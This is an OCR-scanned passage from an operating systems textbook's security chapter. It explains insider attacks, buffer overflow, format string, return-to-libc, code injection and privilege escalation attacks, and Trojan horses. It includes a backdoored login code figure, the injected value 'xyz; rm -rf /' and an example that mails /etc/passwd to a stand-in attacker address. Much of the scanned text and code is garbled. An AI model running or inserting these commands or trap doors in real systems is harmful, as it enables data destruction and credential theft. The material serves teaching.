and access that outsiders do oot have. Below we will give a few examples; all of 
them have occurred repeatedly in the past. Each One has a different flavor in 
terms of who is doing the attacking, who is being attacked, and what the attacker 
is trying to achieve. 

. 

9.5.1 Logic Bombs 

In these times of massive outsourcing, programmers often worry about their 
jobs. Sometimes they even take steps to make their potential (involuntary) depar
ture less painful. For those who are inclined toward blackmail, one strategy is to 
write a logic bomb. This device is a piece of code written by one of a company's 
(currently employed) programmers and secretly inserted into the production sys
tem. As long as the programmer feeds it its daily password, it does nothing. 
However, if the programmer is suddenly fired and physically removed from the 
premises without warning, the oext day (or next week) the logic bomb does not 
get fed its daily password, so it goes off. Many variants on this theme are also 
possible. In one famous case, the logic bomb checked the payroll. If the person
nel number of the programmer did not appear in it for two consecutive payroll 
periods, it went off (Spafford et aI., 1989). 

Going off might involve dearing the disk, erasing files at random, carefully 
making hard-to�detect changes to key programs, or encrypting essential files. In 
the latter case, the company has a tough choice about whether to can the police 
(which may or may not result in a conviction many months later but certainly does 

SEC. 9.5 INSIDER ATTACKS 655 

�ot restore the
"
missing fil�s) or to give in t� the blackmail and rehire the ex-pro

orammer as a consultant for an astronomIcal sum to fix the problem (and hope 
that he does not plant new logic bombs while doing so). 

There have been recorded cases in which a virus planted a logic bomb on the 
computers it infected. Generally, these were programmed to "0 off all at once at 
some date and time. in the future. However, since the prograr:;mer has no idea in 
advance of which computers will be hit, logic bombs cannot be used for job pro
t�cti?� or blackmail.. Often they are set to go off on a date that has some political 
sIgmficance. Sometimes these are called time bombs. 

9.5.2 Trap Doors 

Another security hole caus.ed by an insider is the trap door. This problem is 
created by code inserted into the system by a system programmer to bypass some 
normal check. For ex�mpl�, a programmer could add code to the login program to 
allow anyone to log 10 usmg the login name "<zzzzz" no matter what was in the 
p�ssword file. The normal code in the login program might look something like 
Flg. 9-22(a). The trap door would be the change to Fig. 9-22(b). What the call to 
strcmp does is check if

. 
the login name is «zzzzz". If so, the login succeeds, no 

matter what p�ssword IS typed. If this trap door code were inserted by a pro
grammer workmg for a computer manufacturer and then shipped with its com
puters, the progra�mer could log into any computer made by his company, no 
matter who ow�ed It Or what was in the password file. The same holds for a pro
gramm�r ,":orkmg for the OS vendor. The trap door simply bypasses the whole 
authenttcauon process. 

while (TRUE) ( 
printf{"!ogin: "); 
geLstring(name); 
disable_echoing( ); 
printf(Rpassword: "); 
geLstring(password); 
enable_echoing( ); 
v:::; checILvalidity(name, password); 
if (v) break; 

execute_sheU(name); 

(a) 

while (TRUE) ( 
printf("!ogin: "); 
geLstring(name); 
disable_echoing( ); 
printf("password: "); 
geLstring(password); 
enable_echoing( ); 
v -= checILvalidity(name, password}; 
if (v II strcmp(name, �zzzzz") == 0) break; 

execute_shell(name); 

(b) 

Figure 9-22. (a) Normal code. (b) Code with a trap door i�serted. 

One way for companies to prevent trap doors is to have code reviews as stan
dar� practice. With this technique, once a programmer has finished writing and 
testIng a module, the module is checked into a code database. Periodically, all the 
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programmers in a team get together and each one gets up i� front of �he group to 
explain what his code does, line by line. Not only does thIS greatly Increase the 
chance that someone will catch a trap door, but it raises the stakes for the pro
grammer, since being caught red-handed is probably not a plus for his career. If 
the programmers protest too much when this is proposed, having two coworkers 
check each other's code is also a possibility. 

9.5.3 Login Spoofing 

In this insider attack, the perpetrator is a legitimate user who is attempting to 
collect other people's passwords through a technique called login spoofing. It is 
typically employed in organizations with many public computers on a LAN used 
by multiple users. Many universities, for example, have rooms fun of computers 
where students can log onto any computer. It works like this. Normally, when 
no one is logged in on a UNIX computer a screen similar to that of Fig. 9-23(a) is 
displayed. When a user sits down and types a login name, the syst�m asks for 

.
a 

password. If it is correct, the user is logged in and a shell (and posslbly a GUI) IS 
started. 

lEJ EJ: 
(a) (b) 

Figure 9�23. (a) Correct login screen. (b) Phony login screen. 

Now consider this scenario. A malicious user, Mal, writes a program to dis
play the screen of Fig. 9-23(b). It looks amazingly like the screen of Fig. 9-23(a). 
except that this is not the system login program running, but a phony one WrItten 
by Mal. Mal now starts up his phony login program and walks away to watch the 
fun from a safe distance. When a user sits down and types a login name, the pro
gram responds by asking for a password and disabling echo�g. After the login 
name and password have been conected, they are written away to a file and the 
phony login program sends a signal to kill its sheIL This action logs !v!al out and 
triggers the real login program to start and displa� the pr�mpt �f FIg .. 9-�3(a�. 
The user assumes that she made a typing error and Just logs m agam. This tIme It 
works. But in the meantime, Mal has acquired another (login name, password) 
pair. By logging in at many computers and starting the login spoofer on all of 
them, he can collect many passwords. 

The only real way to prevent this is to have the login sequence start with a key 
combination that user programs cannot catch. Windows uses CTRL-ALT-DEL 
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for this purpose. If a user sits down at a computer and starts out by first typing 
CTRL-ALT-DEL, the current user is logged out and the system login program is 
started. There is no way to bypass this mechanism. 

9.6 EXPLOITING CODE BUGS 

Having looked at some ways insiders can breach security, now it is time to 
start our study of how outsiders can attack and subvert the operating system from 
outside, generally over the Internet. Almost all of the attack mechanisms take ad
vantage of bugs in the operating system or in some popular application program 
such as Internet Explorer or MicrosOft Office. The typical scenario is that some
body discovers a bug in the op�rating system and then finds a way to exploit it to 
compromise computers that are running the defective code. 

Although every exploit involves a specific bug in a specific program, there are 
several general categories of bugs that occur over and over and are worth studying 
to see how attacks work. In the following sections we will examine a number of 
these methods. Please note that since this is a book on operating systems, the fo
ellS is on how to subvert the operating system. The many ways one can exploit 
software bugs to attack Websites and data bases are not covered here. 

There are several ways bugs can be exploited. One straightforward way is for 
the attacker to start up a sCript that does the following: 

I. Run an automated port scan to find machines that accept telnet con
nections. 

2. Try to log in by guessing login name and password combinations. 

3. Once in, run the flawed program with input that biggers the bug. 

4. If the buggy program is SETUID root, create a SETUID root shelL 

5. Fetch and start a zombie program that listens to an IP port for com
mands. 

6. Arrange that the zombie program is always started when the system 
reboots. 

The script may run for a long time, but there is a good chance it will eventually 
succeed. By making sure the zombie program is started whenever the computer is 
rebooted, the attacker has made sure once a zombie, always a Z9Jl1bie. 

Another common scenario is to launch a virus that infectS 'machines all over 
the Internet and have them exploit the bug after they land on a new machine. 
Basically, steps 1 and 2 are replaced above, but the other steps still apply. Either 
way, the attacker'S program will run on the target machine, almost always without 
the owner knowing about it and without the program disclosing its presence. 
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9.6.1 Buffer Overflow Attacks 

O " h  e of attacks has been due to the fact that virtually all operating ne DC sourc 
C "  g langua cre s sterns and most systems programs are written �n the programrnl? 

e> _ 
Y 

l"ke j"t and it can be compIled extremely efficIently). Un (because programmers 1 
h f II fortunately, no C compiler does arr�y bounds checkin�. Consequently, t e o  ow-

ing code sequence, while not legal, IS also not checked. 
lnti; 
char c[1024]; 
i "" 12000; 
e[iJ = O; 

The result is that some byte of memory 10,976 bytes outside the array c is ever
No check is performed at run written, possibly with disastrous consequences. 

time to prevent this error. . . ' 9 24( ) This property of C leads to attacks of the followmg kind. In FIg. - a , v:e 
th main prooram running, with its local variables on the stack. �t some pomt �:�an: a roced�re A, as shown in Fig. 9-24(b). The stand�d cal1:ng seque�c� P

b h" g the return address (which points to the mstructton fol1owlllo starts out y pus m - . th t k the call) onto the stack. It then transfers control to A, whIch decrements e s ac 
pointer to allocate storage for its local variables. 
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Virtual address space 
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SP� 

Program 

(e) 

F" 9 '4 (a) Situation when the main program is running. (b) After the pro-Igure "_ . . 
cedure A has been called. (c) Buffer overflow shown In gray. 

Su ose that the job of A requires acquiring the full file path (possib1� by �on
catenaK�g the current directory path with a file name! and then opemng It or 
doing something else with it A has a fixed"size buffer (I.e., array) B to hold a file 
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name, as shown in Fig. 9-24(b). Using a fixed-size buffer to hold the file name is much easier to program than first detennining the actual size and then dynamically allocating enough storage. If the buffer is 1024 bytes, that should handle all file names, right? Especially if the operating system limits file names (or better yet, full paths) to a maximum of no more than 255 (or some other fixed number of) characters. 

Unfortunately, ihis reasoning contains a fatal flaw. Suppose that the user of the program provides a file name that is 2000 characters long. When the file name is used, it will fail to open, but the attacker does not care. When the procedure copies the file name into the buffer, the name overflows the buffer and overwrites memory, as shown in the gray area of Fig. 9-24(c). Worse yet, if the file name is long enough, it also overwrites the return address, so when A returns, the return address is taken from the middle of the file name. If this address is random junk, the program will jump to a random address and probably crash within a few instructions. 
But what if the file name does not contain random junk? What if it contains a valid binary program and the layout has been very, very carefully made so that the word overlaying the return address just happens to be the address of the start of the program, for example, the address of B? What win happen is that when A returns, the program now in B will start executing. In effect, the attacker has overwritten memory with his own code and gotten it executed. This same trick works with things other than file names. It works with very long environment strings, user input, or anything else where the programmer has created a fixed-size buffer to handle a user-supplied string that was expected to be short. By providing a long handcrafted string containing a program, it may be possible to get the program onto the stack and then get it executed. The C library function gets, which reads a string (of unknown size) into a fixed-size buffer, but without checking for overflow, is notorious for being subject to this kind of attack. Some compilers even detect the use of gets and warn about it. Now comes the really bad part. Suppose that the program being attacked is SETUID root in UNIX (or has Administrator power in Windows). The inserted code can now make a couple of system calls to convert the attacker's shell file on the disk into SETUID root, so that when it is executed it has superuser power. Alternatively, it can now map in a specially prepared shared library that can do all kinds of damage. Or it can simply issue an exec system call to overlay the current program with the shell, creating a shell with superuser powers. Worse yet, it can download a program or script over the Internet and store it on the disk. It can then create a process to run the program or script This process can then listen to a specific IP port waiting for commands from afar, which it carries out, turning the machine into a zombie. To prevent the new zombie from being lost when the machine is rebooted, the attacking code just has to arrange that the newly fetched program or shell script is started whenever the machine is booted. This is easy to do in both Windows and all UNIX systems. 
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A substantial fraction of all security problems are due to this flaw, which is 
difficult to fix because there are so many existing C programs around that do not 
check for buffer overflow. 

Detecting that a program has buffer overflow problems is easy: just feed it 
1O,OOO�character file names, lOO-digit salaries, or something equally unexpected 
to see if it dumps core. The next step is to analyze the core dump to see where the 
long stream is stored. From there, figuring out which character overwrites the re
turn address is not so difficult. If the source code is available, as it is for most 
UNIX programs, the attack is even easier because the la�out of the stack is k�o:wn 
in advance. The attack can be defended against by fixmg the code to explIcItly 
check the length of all user-supplied strings before stuffing them into fixed-length 
buffers. Unfortunately, the fact that some program is vulnerable to this kind of at
tack generally shows up after a successful attack: 

9.6.2 Format String Attacks 

Some programmers do not like typing, even though they are excellent typists. 
Why name a variable reference_count when rc obviously means the same thing 
and saves 13 keystrokes on every occurrence? This dislike of typing can some
times lead to catastrophic system failures as described below. 

Consider the following fragment from a C program that prints the traditional 
C greeting at the start of a program: 

char *s="He!!o World"; 
printf{"%,s", s); 

In this program, the character string variable s is declared and initialized to a 

string consisting of '"Hello World" and a zero-byte to indicate the �nd of the 

string. The call to the function print has two arguments, the format stnng "%s", 

which instructs it to print a string, and the address of the stgng. When executed, 

this piece of code prints the string on the screen (or wherever standard output 

goes). It is correct and bulletproof. 
But suppose the programmer gets lazy and instead of the above types: 

char *s="Hel!o World�; 
printf(s); 

This call to printJ is allowed because printJ has a variable number of arguments, 
of which the first must be a format string. But a string not containing any for
matting information (such as «%s") is legal, so although the second version is not 
good programming practice, it is allowed and it will work. Best of all, it saves 
typing five characters, clearly a big win. 

Six months later some other programmer is instructed to modify the code to 
first ask the user for his name, then greet the user by name. After studying the 
code somewhat hastily, he changes it a little bit, like this: 
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char s[100], g[100] "" "Hello "; /* declare s and g; initialize 9 */ 
gets(s); /* read a string from the keyboard into s *1 
strcat(g, s); /* concatenate s onto the end of 9 *1 
printf(g); /* print 9 */ 
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Now it reads a string into the variable s and concatenates it to the initialized strino
g to build the output message in g. It still works. So far so good (except for th� 
use of gets, which is subject to buffer overflow attacks, but it is easy to use and 
still popular). 

However, a knowledgeable user who saw this code would quickly realize that 
the input accepted from the keyboard is not a just a string; it is a format string, 
and as such all the fonnat specifications allowed by printf will work. While most 
of the formatting indicators such as «%s" (for printing strings) and "%d" (for 
printing decimal integers), format output, a couple are special. In particular, 
"%n" does not print anything. Instead it calculates how many characters should 
have been output already at the place it appears in the string and stores it into the 
next argument to printJto be processed. Here is an example program using "%n": 

int main(fnt argc, char *argv[J) 

( 
int i=O; 
printf("He!!o %nworld\n�, &i); 
printWi=%c!\n", 0; 

/* the %n stores into i */ 
/* i is now 6 *! 

When this program is compiled and run, the output is: 

Hello world 
1=6 

Note that the variable i has been modified by a call to printf, something not obvi
ous to everyone. While this feature is useful once in a blue moon, it means that 
printing a format string can cause a word-or many words-to be stored into 
memory. Was it a good idea to include this feature in print? Definitely not, but it 
seemed so handy at the time. A lot of software vulnerabilities started like this. 

As we saw in the preceding example, by accident the programmer who modi
fied the code allowed the user of the program to (inadvertently) enter a format 
string. Since printing a fonnat string can overwrite memory, we now have the 
tools needed to overwrite the return address of the printJ function on the stack and 
jump somewhere else, for example, into the newly entered fonn.at string. This ap-
proach is called a format string attack. 

. . 
Once the user has the ability to overwrite memory and force a jump to newly 

injected code, the code has all the power and access that the attacked program 
has. If the program is SETUID root, the attacker can create a shell with root 
privileges. The details for making this attack work are a bit too complicated and 
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specialized to reproduce here, but suffice it to say that this �tta�k is a serious 
problem. If you type: "format string attack" to Google, you WIll fmd a great deal 
of infOlmation on the problem. 

As an aside, the used of fixed-size character arrays in this example could also 
be subject to a buffer-overflow attack. 

9.6.3 Return to libc Attacks 

Both the buffer overflow attack and the format string attack requi�e getting at
tack-supplied data onto the stack and then making the current functIon retuf.o to 
these data instead of returning to its caller. One way to combat the�e attacks IS to 
mark the stack pages as read/write, but not execute. Modern PentIUm CPUs .c�n 
do this, although most operating systems do not avail themselves of the possIbIl
ity. But there is another attack that still wor�s even if programs on the stack can-
not be executed. It is known as a return to hbc attack. 

. Suppose that a buffer overflow or fonnat string attack has overwntte� the re
turn address of the current function, but cannot execute the attacker-supphe? code 
on the stack. Is there someplace else it could return to in order to C?mprOIDIse the 
machine? It turns out there is. Almost all C programs are linked WIth the (usually 
shared) library libe, which contains key func�ions most C 

.
programs need. One of 

these functions is strepy, which copies an arbItrary byte stnng from any .address to 
any other address. The nature of this attack is to nick strepy into copymg the a_�
tacker's program, which is often called shellcode, to the data segment and have It 
executed there. 

. Let's now look at the nuts and bolts of how the attack works. In FIg. 9-25(a) 
we see the stack just after the main program has called a function f Let uS as
sume that this program is running with superuser privilege� (i.e., is SE!UID root) 
and has an exploitable bug that allows the attacker to get hIS shellcode IOta mem�
ry, as illustrated in Fig. 9-25(b). Here we show it on the top of the stack, where It 
cannot be executed. . What the attack also has to do, besides getting the shellcode onto the stack, IS 
to overwrite the four shaded words shown in Fig. 9-25(b). The lowest of these 
was formerly the return address back to main, but is now the addre�s of st�Cpy, .so 
whenfreturns, it goes "back" to strcpy. At that point th.e :>tack pomt�r WIll POl�t 
to a bogus return address that strcpy will itself use when It IS done. ThIS address IS 
the place the shell code will be located. The two w�rds a?ove that are the sour:e 
and destination addresses for the copy. When strepy IS fimshed, the shellcode wIll 
be at its new home in the (executable) data segment and strepy will "return" to it. 
The shellcode, running with the powers the attacked program has, can create a 
shell for the attacker to use later or it can start a script to monitor some IP port a�d 
wait for incoming commands. At that point, the machine has beco

.
me a zombIe 

and can be used to send spam or launch denial-of-service attacks for ItS master. 

SEC. 9.6 EXPLOmNG CODE BUGS 

Virtual address space 

Main's local 
variables 

Return address to main 
F's local 
variables 

SP 

Program 

(a) 

Virtual address space 

Partially trashed 
variables 

Program 

(b) 

Figure 9·25. (a) The stack before the attack. (b) The stack after the stack has 
been overwritten. 

9.6.4 Integer Overflow Attacks 
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Computers do integer arithmetic on fixed-length numbers, usually 8, 16, 32, 
or 64 bits long. If the sum of two numbers to be added or multiplied exceeds the 
maximum integer that can be represented, an overflow occurs. C programs do not 
catch this error; they just store and use the incorrect value. In particular, if the 
variables are signed integers, then the result of adding or multiplying two positive 
integers may be stored as a negative integer. If the variables are unsigned, the re
sults will be positive, but may wrap around. For example, consider two unsigned 
16-bit integers each containing "the value 40,000. If they are multiplied together 
and the result stored in another unsigned 16-bit integer, the apparent product is 
4096. 

This ability to cause undetected numerical overflows can be turned into an at
tack. One way to do this is to feed a program two valid (but large) parameters in 
the knowledge that they will be added or multiplied and result in an overflow. For 
example, some graphics programs have command-line parameters giving the 
height and width of an image file, for example, the size to which an input image is 
to be converted. If the target width and height are chosen to force an overflow, 
the program will incorrectly calculate how much memory it needs to store the 
image and call maUoe to allocate a much-too-small buffer for it. The situation is 
now ripe for a buffer overflow attack. Similar exploits are possible when the sum 
or product of signed positive integers results in a negative integer. 
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9.6.5 Code Injection Attacks 

Yet another exploit involves getting the target program to execute code with
out realizing it is doing so. Consider a program that at some point needs to dupli
cate some user-supplied file under a different name (perhaps as a backup). If the 
programmer is too lazy to write the code, he could use the system function, which 
forks off a shell and executes its argument as a shell command. For example, the 
C code 

system("ls >file-list") 

forks off a shell that executes the command 

Is >file-list 

listing all the files in the current directory and writing them to a file called file
list. The code that the lazy programmer might use to duplicate the file is given in 
Fig. 9-26. 

int main(lnt argc, char *argv[]) 
( 

char src[100], dst[100], cmd[205J :: "cp �; 
printf("P!ease enter name of source file: �); 
gets(src); 
strcat{cmd, src); 
strcat(cmd, " "); 
printf("Please enter name of destination file: "); 
gets{dst); 
strcat(cmd, dst); 
system{cmd); 

/* declare 3 strings *' 
lOt ask for source file */ 
/* get input from the keyboard */ 
/* concatenate src after cp */ 
1* addaSpace to the end of cmd */ 
/* ask for output file name */ 
/* get input from the keyboard */ 
/* complete the commands string *f 
/* execute the cp command */ 

) 
Figure 9�26. Code that might lead to a code injection attack. 

What the program does is ask for the names of the source and destination 
files, build a command line using cp, and then call system to execute it. If the user 
types in "abc" and "xyz" respectively, the command that is executed is 

cp abc xyz 

which indeed copies the file. 
Unfortunately this code opens up a gigantic security hole using a technique 

caned code injection Suppose that the user types in  "abc" and "xyz; rm -rf /" in
stead. The command that is constructed and executed is now 

cp abc x:yz; rm -rf / 
which first copies the file, then attempts to recursively remove every file and 
every directory in the entire file system. If the program is running as superuser, it 
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may well succeed. The problem, of course, is that everything following the semi
colon is executed as a shell command. 

Another example of the second argument might be "xyz; mail snooper@bad
guys.com </etc/passwd", which produces 

cp abc xyz; mail snooper@bad�guys.com <ietc/passwd 

thereby sending the password file to an unknown and untrusted address. 

9.6.6 Privilege Escalation Attacks 

Yet another class of attack is the privilege escalation attack, in which the at
tacker tricks the system into giving it more acceSS rights than it is entitled to. Typ
ically, he tricks it into doing s<?mething only the superuser can do. One famous 
example was a program that made use of the cron daemon, which allows users to 
schedule work to be done every hour or day or week or at some other frequency. 
This daemon usually runs as root (or something almost as powerful) so i t  can ac
cess files from any user account. It has a directory in which it stores the com
mands that are scheduled to run. Users cannot write to this directory, of course, 
since that would give them the ability to do just about anything. 

The attack worked like this. The attacker's program set its working directory 
to the cron daemon's directory. Of course, it could not write there, butothat does 
not matter. Then it crashed in a manner that forced a core dump or let itself be 
killed in a manner that forced a core dump. Core dumps happen in the working di
rectory, which in this case was the cron daemon's directory. Since the dumps are 
made by the system, writing there was not prohibited by the protection system. 
The memory image of the attaCking program was structured to be a valid set of 
commands to the cron daemon, which would then execute them as root. The first 
one changed some program specifIed by the attacker into SETUID root and the 
seco�d one ran the program. At that point the attacker had an arbitrary program 
runmng as superuser. This particular hole has since been plugged, but it gives you 
the flavor of this type of attack. 

9.7 MALWARE 

. 
In ancient times (say, before 2000), bored (but clever) teenagers would some

tImes fill their idle hours by writing malicious software that they would then re
lease into the world for the heck of it. This software, which. included Trojan 
horses, viruses, and worms and collectively called malware often quickly spread 
around the world. As reports were published about how many millions of dollars 
of damage the malware caused and how many people lost their valuable data as a 
result, the authors would be very impressed with their programming skills. To 
them it was just a fun prank; they were not making any money off it, after alL 
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Those days are gone. Malware is now written on demand by well-organized 
criminals who prefer not to see their work publicized in the ne:vspapers. �hey are 
in it entirely for the money. A large fraction of all malware IS now de�lgned t? 
spread as quickly as possible over the Inter�e� and infect as many machmes as It 
can. When a machine is infected, software IS Installed that reports the address of 
the captured machine back to certain machines, o�ten in countries with pOO1�ly 
developed or corrupt judicial systems, for example l� some of the former

. 
S�vlet 

republics. A backdoor is also installed on the machme t?at allows the cI::m:-m�ls 
who sent out the malware to easily command the rnachme to do what It IS m
structed to do. A machine taken over in this fashion is called a zombie, and a col
lection of them is called a botnet, a contraction of "robot network." 

A criminal who controls a botnet can rent it out for various nefarious (and al
ways commercial) purposes. A common one is for sending out comrr:e�cial spam. 
If a major spam attack occurs and the police try to track down the ongm, all they 
see is that it is coming from thousands of machines all over the world. If they a�
preach some of the owners of these machines, they will discover kids, small bu�a
ness owners, housewives, grandmothers, and many other people, all of whom VIg
orously deny that they are mass spammers. Usi�g ?ther people's machin� to do 
the dirty work, makes it hard to track down the cnmmals b�h�nd the operatIOn. 

Once installed, malware can also be used for other cnmmal purposes. Black
mail is a possibility. Imagine a piece of mal ware that encrypts all the files on the 
victim's hard disk, then displays the following message: 

GREETINGS FROM GENERAL ENCRYPTION! 

TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN 
SMALL, UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE 
APPRECIATE YOUR BUSINESS. 

Another common application of malware has it install a keylog
.
ger on the.in

�ected 
machine. This program simply records all keystrokes ty�ed Ill

. 
and pen�dlcallY 

sends them to some machine or sequence of machines (mcludmg zombIes) for 
ultimate delivery to the criminal. Getting the Internet provider servicing the 
delivery machine to cooperate in an investigation is ofte

.
n �ifficult since many of 

these are in cahoots with (or sometimes owned by) the cnmmaL 
The gold to be mined in these keystrokes consists of credit card nUI?b�rs, 

which can be used to buy goods from legitimate business�s. Since the 
.
vICtImS 

have no idea their credit card numbers have been stolen until they get theIr state
ments at the end of the billing cycle, the criminals can go on a spending spree for 
days, possibly even weeks. 

. . . 
To guard against these attacks, the credit card companies all use a:tlficml lil

telligence software to detect peculiar spending patterns. For example, If a person 
who normally only uses his credit card in local stores suddenly orders a dozen ex
pensive notebook computers to be delivered to an address in, sa�, Tajikistan, a 
bell starts ringing at the credit card company and an employee tYPIcally calls the 
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cardholder to politely inquire about the transaction. Of course, the criminals 
know about this software, so they try to fine-tune their spending habits to stay 
Gust) under the radar. 

The data conected by the key logger can be combined with other data col
lected by software installed on the zombie to allow the criminal to engage in a 
more extensive ide!ltity theft. In this crime, the criminal collects enough data 
about a person, such as date of birth, mother's maiden name, social security num
ber, bank account numbers, passwords, and so on, to be able to successfully 
impersonate the victim and get new physical documents, such as a replacement 
driver's license, bank debit card, birth certificate, and more. These, in turn, can be 
sold to other criminals for further exploitation. 

Another form of crime that some malware commits is to lie low until the user 
correctly logs into his Internet .banking account. Then it quickly runs a transaction 
to see how much money is in the account and immediately transfers all of it to the 
criminal's account, from which it is immediately transferred to another account 
and then another and another (all in different corrupt countries) so that the police 
need days or weeks to collect all the search warrants they need to follow the 
money and which may not be honored even if they do get them. These kinds of 
crimes are big business; it is not pesky teenagers any more. 

In addition to its use by organized crime, malware also has industrial applica
tions. A company could release a piece of malware that checked if it WtlS running 
at a competitor's factory and with no system administrator currently logged in. If 
the coast was clear, it would interfere with the production process, reducing pro
duct quality, thus causing trouble for the competitor. In all other cases it would 
do nothing, making it hard to detect. 

Another example of targeted mal ware is a program that could be written by an 
ambitious corporate vice president and released onto the local LAN. The virus 
would check if it was running on the president's machine, and if so, go fInd a 
spreadsheet and swap two random cells. Sooner or later the president would make 
a bad decision based on the spreadsheet output and perhaps get fired as a result, 
opening up a position for you-know-who. 

Some people walk around all day with a chip on their shoulder (not to be con
fused with people with an RFID chip in their shoulder). They have some real or 
imagined grudge against the world and want to get even. Malware can help. 
Many modem computers hold the BIOS in flash memory, which can be rewritten 
under program control (to allow the manufacturer to distribute bug fixes electroni
cally). Malware can write random junk in the flash memory so that the computer 
will no longer boot. If the flash memory chip is in a socket, fixing the problem re
quires opening up the computer and replacing the chip. If the flash memory chip 
is soldered to the parentboard, probably the whole board has to be thrown out and 
a new one purchased. 

We could go on and on, but you probably get the point. If you want more hor
ror stories, just type malware to any search engine. 
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A question many people ask is: "Why does malware spread so easily?" There 
are several reasons. First, something like 90% of the world's computers run (ver
sions of) a single operating system, Windows, which makes an easy target. If 
there were 10 operating systems Out there, each with 10% of the mar:ket, �pr�ad
ing malware would be vastly harder. As in the biological world, dIVerSity IS a 
good defense. . . Second, from its earliest days, Microsoft has put a lot of emphasIs on making 
Windows easy to use by nontechnical people. For example, Windows systems are 
nonnally configured to allow login without a pass,:ord, whereas U�IX ,systems 
historically always required a password (although thIS excellent practice IS weak
ening as Linux tries to become more like Windows). In nume:ous other ways 
there are trade-offs between good security and ease of use and. MICroSO�t h.as con
sistently chosen ease of use as a marketing strategy. If you think secunty IS more 
important than ease of use, stop reading now and go configure your cell phone to 
require a PIN code before it will make a call-nearly all of them are capable of 
this. If you do not know how, just download the pser manual from the manufac-
turer's Website. Got the message? ! 

In the next few sections we will look at some of the more common forms of 
malware, how they are constructed, and how they spread. Later in the chapter we 
will examine some of the ways they can be defended against. 

9.7.1 Trojan Horses 

Writing malware is one thing. You can do it in your bedroom. Getting mil
lions of people to install it on their computers is quite somethi�g e�se. Ho� would 
our malware writer, Mal, go about this? A very common practIce IS to wn�e some 
genuinely useful program and embed the malware inside of it. ?ames, �USIC pla�
ers, " special" porno viewers, and anything with splashy graphlc� ar� llkely candI
dates. People will then voluntarily download and install the apphcatlOn . •  As a free 
bonus, they get the malware installed, too. This approach is. call�d a TroJ�n horse 
attack, after the wooden horse full of Greek soldiers descnbed m Homer .s Ody�
sey. In the computer security world, it has corne to mean any mal ware hidden III 
software or a Web page that people voluntarily download. 

When the free program is started, it calls a function that writes the malware to 
disk as an executable program and starts it. The malware can then �o whatever 
damage it was designed for, such as deleting, modifying, or encryptmg files. It 
can also search for credit card numbers, passwords, and other useful data and send 
them back to Mal over the Internet. More likely, it attaches itself to some IP port 
and waits there for directions, making the machine a zombie, ready to send spam 
or do whatever its remote master wishes. Usually, the malware will also invoke 
the commands necessary to make sure the malware is restarted whenever the ma
chine is rebooted. All operating systems have a way to do this. 
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The beauty of the Trojan horse attack is that it does not require the author of 
the Trojan horse to break into the victim's computer. The victim does all the 
work. 

There are also other ways to trick the victim into executing the Trojan horse 
program. For example, many UNIX users have an environment variable, $PATH, 
which controls which directories are searched for a command. It can be viewed 
by typing the following command to the Shell: 

echo $PATH 

A potential setting for the user ast on a particular system might consist of the fol-
lowing directories: . 

:/usr/astlbin :/usr/locallbin:/ll:srlbin :lbin:/usrlbiniX 1 1  :/usr/ucb :/usrlman \ 
:/usr/javalbin:/usr/javallib:/usr/locallman:/usr/openwinlman 

Other users are likely to have a different search path. When the user types 
prog 

to the shell, the shell first checks to see if there is a program at the location 
/usrlastlbin/prog. If there is, it is executed. If it is not there, the shell tries 
/usrllocallbin/prog, /usrlbinlprog, Ibin/prog, and so on, trying all 10 dire.ctories in 
turn before giving up. Suppose that just one of these directories was left unpro
tected and a cracker put a program there. If this is the first Occurrence of the pro
gram in the list, it will be executed and the Trojan horse will run. 

Most common programs are in /bin or /usrlbin, so putting a Trojan horse in 
/usrlbinIXlllls does not work for a common program because the real One will be 
found first. However, suppose the cracker inserts la into /usr/binIXll .  If a user 
mistypes la instead of is (the directory listing program), now the Trojan horse will 
run, do its dirty work, and then issue the correct message that la does not exist. 
By inserting Trojan horses into complicated directories that hardly anyone ever 
looks at and giving them names that could represent common typing errors, there 
is a fair chance that Someone will invoke one of them sooner or later. And that 
someone might be the superuser (even superusers make typing errors), in which 
case the Trojan horse now has the opportunity to replace /bin/Is with a version 
containing a Trojan horse, so it will be invoked all the time now. 

Our malicious but legal user, Mal, could also lay a trap for the superuser as 
follows. He puts a version of ls containing a Trojan horse in his own directory 
and then does something suspicious that is sure to attract the superuser's attention, 
such as starting up 100 compute-bound processes at opce;· ,·Chances are the 
superuser will check that out by typing 

cd /home/mal 
Is -1 

to see what Mal has in his home directory. Since Some shells first try the local 
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directory before working through $PATH, the superuser rna! have just invoked 
Mal's Trojan horse with superuser power and bingo. The Trojan horse could then 
make Ihome/mal/binlsh SETUID root. All it takes is two system .calls: chown �o 
change the owner of Ihomelmallbinlsh to root and �hmod, to set Its SETUID blt. 
Now Mal cari become superuser at will by just runmng that shell. 

If Mal finds himself frequently short of cash, he might use one of the follo.w
ing Trojan horse scams to help his liquidity positio?" In the first one, the -:r:roJan 
horse checks to see if the victim has an online bankmg program, such as QUIcken, 
installed. If so, the Trojan horse directs the program to transfer some money from 
the victim's account to a dummy account (preferably in a far-away country) for 
collection in cash later. 

In the second scam, the Trojan horse first turns off the modem's sound, then 
dials a 900 (pay) number, again, preferably in a far-away c�untry, such as M?l
dova (part of the former Soviet Union). If th� user was onlme when the Trojan 
horse was started, then the 900 phone number m Moldova needs to be a (v�ry ex
pensive) Internet provider, so the user will not notice and perhaps stay onlme for 
hours. Neither of these techniques is hypothetical; both have happened and �e re
ported by Denning (1999). In the latter one, 800,000 minu�es.of connect tIme to 
Moldova were run up before the U.S. Federal Trade CommIssIOn managed to get 
the plug pulled and filed suit against three people on Long Island. They eventually 
agreed to return $2.74 million to 38,000 victims. 

9.7.2 Viruses 

It is hard to open a newspaper these days without reading about anothe� com
puter virus or worm attacking the world's computers. The?, are �learly a �aJor se
curity problem for individuals and companies alike. In thIS section we WIll exam-
ine viruses; after it, we turn to worms. . . . I was somewhat hesitant to write this section in so much detrul, lest it give 
some people bad ideas, but existing books give far more de�ail and �ven includ.e 
real code (e.g., Ludwig, 1998). Also, the Internet is �u.ll Of. I�formatlOn about Vi
ruses, so the genie is already out of the bottle. In addItIon, It IS hard for pe�ple to 
defend themselves against viruses if they do not know how they work. Fmally. 
there are a lot of misconceptions about viruses floating around that need cor-
rection. . . What is a virus, anyway? To make a long story short, a VIrus IS a program 
that can reproduce itself by attaching its code to another progra�, an.alogo�s. to 
how biological viruses reproduce. The virus can also do other .thl�gS m addltl?n 
to reproducing itself. Worms are like viruses but are self rephcatmg. That dlf
ference will not concern us here, so we will use the tenn «virus" to cover both for 
the moment. We will look at worms in Sec. 9.7.3. 
